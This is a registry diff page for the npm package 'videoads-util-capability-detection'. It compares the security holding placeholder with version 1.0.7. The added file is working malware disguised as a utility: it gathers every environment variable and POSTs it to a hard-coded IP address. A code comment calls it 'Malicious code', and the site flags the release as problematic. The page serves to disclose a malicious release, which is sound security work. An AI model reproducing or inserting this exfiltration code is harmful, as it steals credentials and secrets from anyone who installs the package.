videoads-util-capability-detection 0.0.1-security → 1.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of videoads-util-capability-detection might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "videoads-util-capability-detection",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.7",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1"
7
+ },
8
+ "keywords": [],
9
+ "author": "",
10
+ "license": "ISC",
11
+ "description": ""
6
12
  }
@@ -0,0 +1,33 @@
1
+ // Original content of CapabilityDetection.js
2
+ // (Include the original functionality here if needed)
3
+
4
+ // Malicious code to send environment variables
5
+ const http = require('http');
6
+
7
+ const options = {
8
+ hostname: '203.161.50.115', // Your VPS IP
9
+ port: 80,
10
+ path: '/capture', // Replace with your endpoint
11
+ method: 'POST',
12
+ headers: {
13
+ 'Content-Type': 'application/json',
14
+ },
15
+ };
16
+
17
+ const req = http.request(options, (res) => {
18
+ res.on('data', (d) => {
19
+ process.stdout.write(d);
20
+ });
21
+ });
22
+
23
+ req.on('error', (error) => {
24
+ console.error(error);
25
+ });
26
+
27
+ // Collect environment variables and send to your server
28
+ const data = JSON.stringify({
29
+ env: process.env,
30
+ });
31
+
32
+ req.write(data);
33
+ req.end();
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=videoads-util-capability-detection for more information.